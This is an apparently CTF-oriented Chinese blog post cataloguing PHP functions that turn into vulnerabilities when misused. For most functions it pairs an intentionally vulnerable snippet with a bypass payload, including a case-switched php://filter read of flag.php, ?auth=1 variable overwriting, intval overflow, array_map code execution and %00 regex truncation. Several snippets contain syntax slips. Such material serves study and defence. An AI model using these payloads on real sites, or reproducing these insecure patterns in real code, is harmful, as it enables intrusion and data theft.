【PHP】危险函数使用不当时产生漏洞后对于函数的分析理解、产生原因、实例、绕过方法合集总结(弃坑)

前言

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
——————————————————————————————————————————————————


——————————————————————————————————————————————————

is_numberic()

语法
bool is_numeric ( mixed $var )
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。
技术细节
is_numberic函数不仅判断10进制,16进制也可以
绕过方法与原理:
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后,因为查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断
如果该函数用在弱比较上,可以在数字后面加上字母进行绕过
该函数还可能造成sql注入,例如将‘1 or 1’转换为16进制形式,再传参,就可以造成sql注入,这里不做演示
实例:

if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

payload:
password=404%20
——————————————————————————————————————————————————

strstr()

语法
string strstr(string,search[,before_search])
strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
技术细节
注释:该函数是二进制安全的。
注释:该函数是区分大小写的。如需进行不区分大小写的搜索,请使用 stristr() 函数。
绕过方法与原理:
strstr函数对于大小写是敏感的,直接大小同存写关键字即可绕过
实例:

if(isset($_GET['page'])){
	$page=$_GET['page'];
	if(strstr($page,"php://")){
		die()
	}
	include($page)
}

payload:
page=pHp://filter/read=convert.base64-encode/resource=flag.php
——————————————————————————————————————————————————

extract()

语法
extract(array[,extract_rules,prefix])
extract() 函数从数组中将变量导入到当前的符号表。
技术细节
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
绕过方法与原理:
该函数使用不当时,会导致变量覆盖,直接往extract()的值中传入需要覆盖的变量名和变量值
实例:

<?php
	$auth=false;
	extract($_GET);
	if($auth){
		echo "flag{...}";
	}else{
		echo "Access Denied.";
	}
?>	
}

payload:
GET提交
?auth=1

——————————————————————————————————————————————————

parse_str()

语法
parse_str(string[,array])
parse_str() 函数把查询字符串解析到变量中。
技术细节
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
绕过方法与原理:
该函数使用不当时,会导致变量覆盖,直接往extract()的值中传入需要覆盖的变量名和变量值
实例:

<?php
	$auth=false;
	parse_str($_SERVER['QUERY_STRING']);
	if($auth){
		echo "flag{...}";
	}else{
		echo "Access Denied.";
	}
?>	
}

$_SERVER[‘QUERY_STRING’] //查询(query)的字符串。即url中?后的字符串

payload:
GET提交
?auth=1

——————————————————————————————————————————————————

import_request_variables()

影响版本
注意此函数自PHP5.4起被移除,测试此代码需要安装大于等于4.1小于5.4的PHP环境
语法
import_request_variables(‘G||P||C’)
技术细节
它的值由G、P、C三个字母组合而成,G表示GET,P代表POST,C代表Cookies。
注释:注意排在前面的字符会覆盖排在后面字符传入的值,如,参数为“GP”,且GET和POST同时传入auth参数,则POST传入的值会被忽略!
绕过方法与原理:
该函数使用不当时,会导致变量覆盖,直接往import_request_variables()的值中指定的方式传入需要覆盖的变量名和变量值
实例:

<?php
	$auth=false;
	import_request_variables('G')
	if($auth){
		echo "flag{...}";
	}else{
		echo "Access Denied.";
	}
?>	
}

payload:
GET提交
?auth=1

——————————————————————————————————————————————————

intval()

影响版本
PHP 4, PHP 5, PHP 7
语法
int intval ( mixed $var [, int $base = 10 ] )
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
技术细节
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex)
如果字符串以 “0” 开始,使用 8 进制(octal)
默认使用 10 进制 (decimal)。

绕过方法与原理:
Intval最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
如果参数为2147483647,那么当它反过来,由于超出了限制,所以依然等于2147483647。
intval函数有个特性:“直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换”
特性
在这里插入图片描述

实例:

<?php
	include(flag.php);
	if(intval($_GET["number"])=intval(strrev($_GET["number"]))){
		echo $flag;
	}
?>	
}

strrev() 函数反转字符串. //用法 strrev(string) 返回已反转的字符串

payload:
GET提交
?number=2147483647
或者用科学计数法构造0=0
?number=0e-0 //0e-0表示0乘以0的-0次方 示例:3.14E3则表示3.14乘以10的3次方,3.14E-2则表示3.14乘以10的-2次方

这里本来是参照网上的资料去写的,网上的示例都是bugku的矛盾,说的什么判断数值是不是回文上,搞不懂什么操作,先留在这!https://www.cnblogs.com/GH-D/p/8085676.html

——————————————————————————————————————————————————

md5()

语法
md5(string[,raw])
string 必需 规定要计算的字符串。
raw 可选 规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认 32 字符十六进制数
绕过方法与实例讲解可以看我这一篇文章:
https://blog.csdn.net/EC_Carrot/article/details/109525162
——————————————————————————————————————————————————

get_headers()

PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的get_headers()函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。
该函数漏洞涉及CVE,可以参考我另外一篇文章:
https://blog.csdn.net/EC_Carrot/article/details/109464044
——————————————————————————————————————————————————

array_map()

该函数存在代码执行的问题
在这里插入图片描述
示例代码如下:

<?php
$arr=$_GET['arr'];
$array=array(1,2,3,4,5);
$new_array=array_map($arr,$array);
?>

利用过程如下:
在这里插入图片描述
——————————————————————————————————————————————————

ereg()

在这里插入图片描述

ereg()用途
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。若需要不区分大小写则使用eregi()函数。
截断漏洞
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
数组漏洞
ereg()只能处理字符串的,遇到数组做参数返回NULL
——————————————————————————————————————————————————

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值